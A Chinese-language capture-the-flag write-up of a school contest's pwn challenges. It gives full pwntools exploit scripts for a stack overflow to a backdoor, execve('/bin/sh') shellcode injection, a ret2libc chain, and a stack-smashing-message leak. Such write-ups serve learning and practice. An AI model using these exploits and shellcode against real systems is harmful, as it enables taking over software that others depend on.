被催了好久的PWN的WP,那今天就写一下前一段时间我们校赛的PWN题的详解吧。
猜猜标志
直接输入大量的字符溢出就有标志了,
走后门吗?
做PWN嘛,第一步当然显示checksec一波,可以看到这个还是对萌新很友好的,虽然是一个64位的程序,但是什么保护措施都没有开,这样的话,方法就都可以运用了;
第二步,就是扔到对应的64位的IDA中去看一波伪代码,在函数栏发现了一个好东西,那就是一个后门:
有了这个之后,再加上没有一点点的防护,那就可以直接PWN了,接下来要确定的就是覆盖的字节数:
查看overflow_me这个函数,发现读取的字节数大小是0x80的,但是RBP的大小却只有为0x50,那就完全可以实现覆盖了,
给出POC:
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
#p=remote("123.206.131.120", 10001)
p=process("./pwn1")
backdoor_add=0x04006E0
payload="A"*80+"A"*8+p64(backdoor_add)
p.sendline(payload)
p.interactive()
来解释一下这段脚本,第一行的是申明了接下来的脚本中的都是来自于pwntools这个库,第二行(不包括注释部分)的意思就是申明了接下来的一系列的调试都是在本地进行的,process()就是本地调试程序,上一行的remote()的意思就是在远程调试,也就是拿到flag的那个过程; backdoor_add就是之前所说的后门函数的地址,因为没有开地址随机化,所以可以直接IDA中复制过来即可,再看看有效载荷,有效载荷的意思就是:首先覆盖为0x50个字节,再覆盖RBP的长度,因为程序是64位的所以RBP的长度是8( 32位的程序的RBP就是4),之后加上P64包装过的后门的地址,下一行就是将有效载荷发送,最后一行就是进行交互,就像你的终端一样,可以输入指令,
OK,这个就成功的拿到了标志;
后门?不存在的
还是老样子,checksec和IDA一波
在这个函数里面发现出题人直接给你打印出了BUF的地址,这个就为之后的一系列操作奠定了基础,但是发现除了这个函数之外,其他好像也没有什么有用的字符串信息,或者是后门可以走,但是这个题还是一样没有开启任何的防护,那么就可以运用的shellcode这个工具进行PWN了,具体的的shellcode的内容可以直接百度64位的shellcode
给出POC:
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
#p=remote("123.206.131.120 ",10002)
p=process("./pwn2")
p.recvuntil("is ")
buf_add=p.recvuntil("\n",drop=False)
buf_add=int(buf_add,16)
print buf_add
#ret_add=buf_add+80+8+8
shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
payload=shellcode+"A"*(88-len(shellcode))+p64(buf_add)
p.sendline(payload)
p.interactive()
成功!
做出了后门也不让你走
这个题比较难讲通,就是一个简单的ret2libc的一个套路,推荐文章,蒸米上的一步一步学rop X64
这边直接给出POC:
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
#p=remote("123.206.131.120 ", 10003)
p=process("./pwn3")
libc=ELF("libc.so")
#libc=ELF("libcME.so")
e=ELF("pwn3")
puts_off=libc.symbols["puts"]
sys_off=libc.symbols["system"]
off=sys_off-puts_off
read_plt=e.plt["read"]
print "read_plt="+hex(read_plt)
read_got=e.got["read"]
print "read_got="+hex(read_got)
puts_plt=e.plt["puts"]
print "puts_plt="+hex(puts_plt)
puts_got=e.got["puts"]
print "puts_got="+hex(puts_got)
rsiret_add=0x400751
rdiret_add=0x400753
login_add=0x400666
payload1="A"*88+p64(rdiret_add)+p64(puts_got)+p64(puts_plt)+p64(0x4006df)
p.sendlineafter("\n",payload1)
#puts_real=u64(p.recv(8))
puts_real=u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))
print "puts_realadd="+hex(puts_real)
binsh_add= puts_real - (libc.symbols['puts'] - next(libc.search('/bin/sh')))
print "binsh_add="+hex(binsh_add)
sys_add = puts_real - (libc.symbols['puts'] - libc.symbols['system'])
print "sys_add="+hex(sys_add)
payload2="A"*88+p64(rdiret_add)+p64(binsh_add)+p64(sys_add)
p.sendline(payload2)
p.interactive()
成功获取到标志
猜猜FLAG2
这个题其实是借鉴了网鼎杯的一个题--guess,
直接去看看这个博客就ok了
https://www.jianshu.com/p/9dbeeaa4b948
这个博客介绍的也是非常详细了
也就直接给出POC:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level='debug'
libc = ELF('./libc.so')
elf = ELF("./pwn5")
p = remote('123.206.131.120 ', 10005)
#p = process("./pwn5")
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
payload = 'a'* 296 + p64(puts_got)
p.sendline(payload)
p.recvuntil('*** stack smashing detected ***: ')
puts_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
print "puts_addr:"+hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
environ_addr = libc_base + libc.symbols['_environ']
print "libc_base:"+hex(libc_base)
print "environ:"+hex(environ_addr)
payload = 'a'*296 + p64(environ_addr)
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
print "stack_addr:"+hex(stack_addr)
#gdb.attach(p)
#pause()
p.recvuntil('?\n')
payload = 'a'*296 + p64(stack_addr-0x168)
p.sendline(payload)
p.interactive()
大功告成
人类的本质这个题呢,还是稍微有一点可惜的,我差了一点没有做出来,不然我的PWN就是AK了,这次校赛的PWN题也是很有意思的东西,有助于巩固基础。